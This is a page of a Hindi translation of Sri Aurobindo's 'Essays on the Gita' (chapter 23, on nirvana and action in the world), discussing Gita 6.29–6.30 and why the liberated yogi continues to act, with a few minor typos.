गीता प्रबंध -अरविन्द पृ. 235

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गीता-प्रबंध
23.निर्वाण और संसार में कर्म

‘‘जिस पुरूष की आत्मा योगयुक्त है वह आत्मा को सब भूतों में देखता और सब भूतों को आत्म में देखता है , वह सर्वत्र समदर्शी होता है।”[१] वह जो कुछ देखता है वह उसके लिये आत्मा है, सब कुछ उसकी आत्मा है , सब भगवान् है। परंतु यदि वह क्षर की क्षरता में रहे तो क्या यह खतरा नहीं है कि वह इस कठिन योग के समस्त फलों को खो दे, आत्मा को खो दे और फिर से मन के अंदर जा गिरे, भगवान् उसको खो दे और वह जगत् का हो जाये, वह भगवान् वह भगवान् को खो दे और उनकी जगह फिर से अहंकार को तथा निम्न प्रकृतिति को पावे? गीता उत्तर देती है कि नहीं, ‘‘ जो मुझे सर्वत्र देखता है और सब कुछ मेरे अंदर देखता है वह मेरे लिये नहीं खोता और न मैं उसके लिये खो जाता हूं।”[२] क्योंकि निर्वाण की यह परम शांति यद्यपि अक्षर से प्राप्त होती है, पर है पुरूषोत्तम की सत्ता पर ही प्रतिष्ठित, मत्संस्थाम्, और यह सत्ता व्यापक है; भगवान् , ब्रह्म, प्राणियों के इस जगत् मैं भी पर्याप्त हैं और यद्यपि वे इस जगत् के अतीत हैं, किंतु वे अपनी अतीतावस्था से बंधे नहीं हैं।
मनुष्य को सब कुछ भगवद्रूप देखना होगा और इसी साक्षात्कार में निवास करना होगा और इसी भाव के साथ कर्म करना होगा; यही योग का परम फल है।पर कर्म क्यों करें? क्या यह अधिक निरापद नहीं है कि हम स्वयं एकांत में बैठकर इच्छा हो तो जगत् की ओर एक निगाह देख लें , उसे ब्रह्म में , भगवान् में देखें पर उसमें कोई भाग न लें, उसमें चलें - फिरें नहीं, उसमें रहें नहीं, उसमें कर्म न करें और साधारणतया अपनी आंतरिक समाधि में ही रहें? इस उच्चतम आध्यात्मिक अवस्था का क्या यही धर्म , यही विधान , यही नियम नहीं होना चाहिये ? गीता फिर कहती है कि नहीं , मुक्त योगी के लिये एकमात्र धर्म , एकमात्र विधन, एकमात्र नियम तो बस यही है कि वह भगवान् में रहे, भगवान् से प्रेम करे और सब प्राणियों के साथ एक हो जाये; उसका जो स्वातंत्र्य है वह निरपेक्ष है, किसी दूसरे पर आश्रित नहीं, वह स्वतः सिद्ध है, किसी आचार , धर्म या मर्यादा से बंधा नहीं । योग की किसी साधना से अब उसका प्रयोजन नहीं , क्योंकि अब वह सतत योग में प्रतिष्ठित है। भगवान् कहते हैं, ‘‘ जो योगी एकत्व में स्थित है और सब भूतों में मुझको भजता है, वह चाहे जैसे और सब प्रकार से रहता और कर्म करता हुआ भी मुझमें ही रहता है और कम करता है।”


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टीका टिप्पणी और संदर्भ

  1. 6.29
  2. 6.30

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